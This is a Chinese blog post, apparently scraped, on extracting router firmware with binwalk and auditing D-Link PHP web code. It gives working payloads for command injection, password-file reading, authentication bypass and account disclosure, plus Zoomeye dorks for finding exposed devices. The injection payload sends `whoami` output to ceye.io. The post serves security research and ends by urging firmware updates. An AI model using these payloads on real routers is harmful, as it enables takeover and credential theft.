参考

源码

binwalk解压固件

kali-linux自带binwalk,编译过程

$ sudo apt-get update

$ sudo apt-get install build-essential autoconf git

# https://github.com/devttys0/binwalk/blob/master/INSTALL.md

$ git clone https://github.com/devttys0/binwalk.git

$ cd binwalk

# python2.7安装

$ sudo python setup.py install

# python2.7手动安装依赖库

$ sudo apt-get install python-lzma

$ sudo apt-get install python-crypto

$ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip

$ sudo pip install pyqtgraph

$ sudo apt-get install python-pip

$ sudo pip install capstone

# Install standard extraction utilities(必选)

$ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools

# Install sasquatch to extract non-standard SquashFS images(必选)

$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev

$ git clone https://github.com/devttys0/sasquatch

$ (cd sasquatch && ./build.sh)

# Install jefferson to extract JFFS2 file systems(可选)

$ sudo pip install cstruct

$ git clone https://github.com/sviehb/jefferson

$ (cd jefferson && sudo python setup.py install)

# Install ubi_reader to extract UBIFS file systems(可选)

$ sudo apt-get install liblzo2-dev python-lzo

$ git clone https://github.com/jrspruitt/ubi_reader

$ (cd ubi_reader && sudo python setup.py install)

# Install yaffshiv to extract YAFFS file systems(可选)

$ git clone https://github.com/devttys0/yaffshiv

$ (cd yaffshiv && sudo python setup.py install)

# Install unstuff (closed source) to extract StuffIt archive files(可选)

$ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv

$ sudo cp bin/unstuff /usr/local/bin/

按照上面的命令就可以完整的安装binwalk了,这样就可以解开市面上的大部分固件包。 然后用binwalk -Me 固件包名称解固件,然后我们会得到以下划线开头的名称的文件夹,文件夹里squashfs-root文件夹,就是路由器的完整固件包。

漏洞挖掘

此文章针对历史路由器的web漏洞进行分析,路由器的web文件夹 一般就在suashfs-root/www或者 suashfs-root/htdocs文件夹里。路由器固件所使用的语言一般为 asp,php,cgi,lua 等语言。这里主要进行php的代码审计来挖掘漏洞。

D-Link DIR-645 & DIR-815 命令执行漏洞

Zoomeye dork: DIR-815 or DIR-645

这里以 D-Link DIR-645固件为例,解开固件进入 suashfs-root/htdocs 文件夹。 这个漏洞出现在diagnostic.php文件。直接看代码

HTTP/1.1 200 OK

Content-Type: text/xml

if ($_POST["act"] == "ping")

{

set("/runtime/diagnostic/ping", $_POST["dst"]);

$result = "OK";

}

else if ($_POST["act"] == "pingreport")

{

$result = get("x", "/runtime/diagnostic/ping");

}

echo '<?xml version="1.0"?>\n';

?>

=$result?>

分析代码可以看到,这里没有进行权限认证,所以可以直接绕过登录。继续往下看,set("/runtime/diagnostic/ping", $_POST["dst"]); 这段代码就是造成漏洞的关键代码。参数dst 没有任何过滤直接进入到了 ping的命令执行里,导致任意命令执行漏洞。继续往下看 $result = "OK"; 无论是否执行成功,这里都会显示OK。所以这是一个盲注的命令执行。以此构造payload。

url = 'localhost/diagnostic.php'

data = "act=ping&dst=%26 ping `whoami`.ceye.io%26"

因为是盲注的命令执行,所以这里需要借助一个盲打平台(如:ceye),来验证漏洞是否存在。

补充 这里用act=pingreport可能就有回显了,需要有设备环境调试一下。

D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 任意文件读取(信息泄露)漏洞

Zoomeye dork:DIR-300 or DIR-600

这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/www 文件夹。 漏洞出现在/model/__show_info.php文件。

if($REQUIRE_FILE == "var/etc/httpasswd" || $REQUIRE_FILE == "var/etc/hnapasswd")

{

echo "

404 Not Found\n";

echo "

404 Not Found

\n";

}

else

{

if($REQUIRE_FILE!="")

{

require($LOCALE_PATH."/".$REQUIRE_FILE);

}

else

{

echo $m_context;

echo $m_context2;//jana added

if($m_context_next!="")

{

echo $m_context_next;

}

echo "
\n";

if($USE_BUTTON=="1")

{echo "\n"; }

}

}

?>

这里看到已经禁止了$REQUIRE_FILE的参数为var/etc/httpasswd和var/etc/hnapasswd。 这么一看无法获取账号密码。但是我们可以从根路径开始配置httpasswd的路径,就可以绕过这个过滤了。

payload

localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

这里设置REQUIRE_FILE=/var/etc/httpasswd成功绕过上面的if判断,进行任意文件读取。

D-Link DIR-300 & DIR-320 & DIR-615 权限绕过漏洞

Zoomeye dork:DIR-300 or DIR-615

这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/www 文件夹

默认情况下,Web界面中的所有页面都需要进行身份验证,但是某些页面(如 登录页面) 必须在认证之前访问。 为了让这些页面不进行认证,他们设置了一个PHP变量NO_NEED_AUTH:

$MY_NAME ="login_fail";

$MY_MSG_FILE=$MY_NAME.".php";

$NO_NEED_AUTH="1";

$NO_SESSION_TIMEOUT="1";

require("/www/model/__html_head.php");

?>

此漏洞触发的原因在于 全局文件 _html_head.php。

/* vi: set sw=4 ts=4: */

if ($NO_NEED_AUTH!="1")

{

/* for POP up login. */

// require("/www/auth/__authenticate_p.php");

// if ($AUTH_RESULT=="401") {exit;}

/* for WEB based login */

require("/www/auth/__authenticate_s.php");

if($AUTH_RESULT=="401") {require("/www/login.php"); exit;}

if($AUTH_RESULT=="full") {require("/www/session_full.php"); exit;}

if($AUTH_RESULT=="timeout") {require("/www/session_timeout.php"); exit;}

$AUTH_GROUP=fread("/var/proc/web/session:".$sid."/user/group");

}

require("/www/model/__lang_msg.php");

?>

这里我们看到 $NO_NEED_AUTH!="1" 如果 $NO_NEED_AUTH 不为 1 则进入身份认证。如果我们把$NO_NEED_AUTH 值设置为 1 那就绕过了认证进行任意操作。

payload

localhost/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0

这里AUTH_GROUP=0 表示admin权限

D-Link DIR-645 信息泄露漏洞

Zoomeye dork:DIR-645

D-Link DIR-645 getcfg.php 文件由于过滤不严格导致信息泄露漏洞。

$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");

TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);

$SERVICE_INDEX = 0;

while ($SERVICE_INDEX < $SERVICE_COUNT)

{

$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");

TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);

if ($GETCFG_SVC!="")

{

$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";

/* GETCFG_SVC will be passed to the child process. */

if (isfile($file)=="1") dophp("load", $file);

}

$SERVICE_INDEX++;

}

这里我们可以看到 $GETCFG_SVC 没有任何过滤直接获取了 POST 传递过来的SERVICES的值。如果 $GETCFG_SVC 不为空,则进行文件读取。这里我们就可以读取存储此设备信息的 DEVICE.ACCOUNT.xml.php 文件。

payload:

http://localhost/getcfg.php

post:SERVICES=DEVICE.ACCOUNT

总结

可以发现此篇文章所提及的漏洞都是web领域的常见漏洞,如权限绕过,信息泄露,命令执行等漏洞。由于路由器的安全没有得到足够的重视,此文涉及到的漏洞都是因为对参数过滤不严格所导致的。 路由器的漏洞影响还是很广泛的,在此提醒用户,及时更新路由器固件,以此避免各种入侵事件,以及个人信息的泄露。

Dlink PHP p308av,D-Link系列路由器漏洞挖掘相关推荐

  1. 路由器漏洞挖掘(栈,危险函数,方法)

    MIPS32架构堆栈: 和x86 架构一样,都是由高地址向低地址增长,无EBP. 进入函数调用时,把栈指针(sp)向下移动n比特,这个大小为n比特的存储空间为此函数的stack Frame. 此后栈指 ...

  2. 浅谈路由器漏洞挖掘(科普文)

    想在国内找一些路由渗透的纪实,但还是木有什么结果,就是今晚给国内某路由厂商提交一些漏洞时,还被人家鄙视了,哎.什么狗屁心态.不管了,留给我未来的 儿子玩吧.说不定可以搞出什么东西.呵呵,扯远了,今晚就 ...

  3. D-link850路由器漏洞挖掘与利用

    D-link850文件结构和各部分功能: 分析小型路由器,D-link850是个经典案例,解析完固件后,首先要搞清楚文件系统,可以从前端入手,追踪其数据流向,看前端对应的后端二进制处理文件. 因此我们 ...

  4. linux 路由器 漏洞,多个Linksys EA系列路由器信息泄露漏洞(CVE-2014-8244)

    发布日期:2014-10-31 更新日期:2014-11-04 受影响系统: Linksys EA系列路由器 EA6900 Linksys EA系列路由器 EA6700 Linksys EA系列路由器 ...

  5. NETGEAR 系列路由器命令执行漏洞简析

    NETGEAR 系列路由器命令执行漏洞简析 2016年12月7日,国外网站exploit-db上爆出一个关于NETGEAR R7000路由器的命令注入漏洞.一时间,各路人马开始忙碌起来.厂商忙于声明和 ...

  6. 速修复这些Netgear Orbi路由器漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 思科Talos团队发布了Netgear Orbi 740系列路由器和扩展卫星中多个漏洞的PoC exploit,其中一个漏洞是严重的远程命令执行 ...

  7. Cisco 3800系列路由器硬件故障排除

    说明:本文提供的是对思科设备的定制分析 简介 预备知识 要求 所用的组件 惯例 硬件-软件兼容性与内存要求 错误信息 Cisco 3800 系列路由器故障排除 启动顺序 模块与卡 NM−1T3/E3安 ...

  8. TOTOLink T6路由器漏洞复现

    TOTOLink T6路由器漏洞复现 来源:xman夏令营 产品描述 产品介绍:价格不用两张的无线路由器 分为子母路由器,如果是子路由器,需要找到登录ip,恢复出厂设置 漏洞描述 该设备可直接开启te ...

  9. 这个路由器漏洞已存在12年,可影响全球数百万台设备引发供应链攻击

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士 专栏·供应链安全 数字化时代,软件无处不在.软件如同社会中的"虚拟人",已经成为支撑社会正常运转的最基本元素之一,软件 ...

最新文章

  1. winform 弹出窗体位置设定
  2. 将Bean放入Spring容器中的五种方式
  3. nginx反向代理vue访问时浏览器加载失败,出现 ERR_CONTENT_LENGTH_MISMATCH 问题
  4. stein法求gcd 学习笔记
  5. 剖析ASSERT函数
  6. 关于HashMap初始化容量问题
  7. Thingworx连接Kepware
  8. Smart3D中空三的设置
  9. 阿里云iot平台实现MQTT通信(mqtt.fx接入iot平台及测试)
  10. [转]DSP2812 代码段(.text段)太长的解决办法——通过cmd文件拆分.text段
  11. 基于百度AI开放平台的人脸识别实验
  12. 第一章概述-------第一节--1.6 计算机网络的性能
  13. vue项目无法在IE打开
  14. 绿灰配色的微信营销PPT模板-优页文档
  15. 中国中药提取物市场深度研究分析报告
  16. GUC-4 CopyOnWriteArrayList/CopyOnWriteArraySet
  17. Windows Server2016 安装升级补丁更新
  18. 第六章 《子午线59》
  19. 【我的Android进阶之旅】Android自定义View来实现解析lrc歌词并同步滚动、上下拖动、缩放歌词、卡拉OK高亮的功能
  20. Xshell6 中文不限时版下载(免密匙)及安装教程

热门文章

  1. RK3288 系统升级流程
  2. 论文笔记(二十二):Soft Tracking Using Contacts for Cluttered Objects to Perform Blind Object Retrieval
  3. 家用宽带搭建个人服务器(二)
  4. win7修改计算机名访问被拒绝访问,今天解答win7无法更改注册表拒绝访问的解决介绍...
  5. 程序员实现 财务自由的 40 个案例
  6. 长波红外相机和相机内核2022年全球行业分析报告
  7. 迈出数据安全建设的第一步|公安数据分类分级建设案例实践
  8. spark 终止 运行_如何在数据源运行ou时停止spark流
  9. 编写解析绝对定向程序matlab,相对定向和绝对定向解析过程(全面).ppt
  10. Backup App's data without rooting the phone